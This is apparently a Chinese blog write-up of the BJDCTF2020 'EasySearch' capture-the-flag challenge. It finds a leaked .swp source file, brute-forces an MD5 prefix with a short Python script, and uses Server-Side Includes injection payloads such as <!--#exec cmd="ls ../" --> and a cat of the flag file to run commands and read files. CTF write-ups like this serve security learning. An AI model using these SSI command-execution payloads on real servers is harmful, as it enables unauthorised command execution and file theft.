[BJDCTF2020]EasySearch-1
1、打开之后界面如下:
2、在首界面审查源代码、抓包未获取到有效信息,就开始进行目录扫描,获取到index.php.swp文件,结果如下:
3、访问index.php.swp文件获取源代码信息,结果如下:
4、分析源代码发现password进行md5加密后前六位需要与'6d0bc1'相同,那就只能采取脚本或从自身收藏的md5值中搜索来获取目的字符,脚本以及搜索结果如下:
之前自己闲的时候把五位以内的所有的字符串的md5值给跑出来的:
脚本:
import hashlib
for i in range(1000000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+' | '+md5)
5、选择一个字符串进行登录并抓取数据包,结果如下:
6、访问发现的url地址,获得如下界面:
7、补充一下什么是ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml或在界面中发现了
<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>
就容易产生ssi注入,此处问题的其注入格式为:<!--#exec cmd="命令" -->。
8、那就在可控参数用户名处输入可执行命令,payload:<!--#exec cmd="ls" -->,结果如下:
这个目录下未发下什么有用的东西,那就请求当前目录结构或上一级目录的,payload:<!--#exec cmd="pwd" -->或<!--#exec cmd="ls ../" -->,结果如下:
9、发现flag的文件信息后,那就直接读取flag值,payload:<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->,结果如下:
如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
分类:
BUUCTF刷题记录
, ssi注入
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)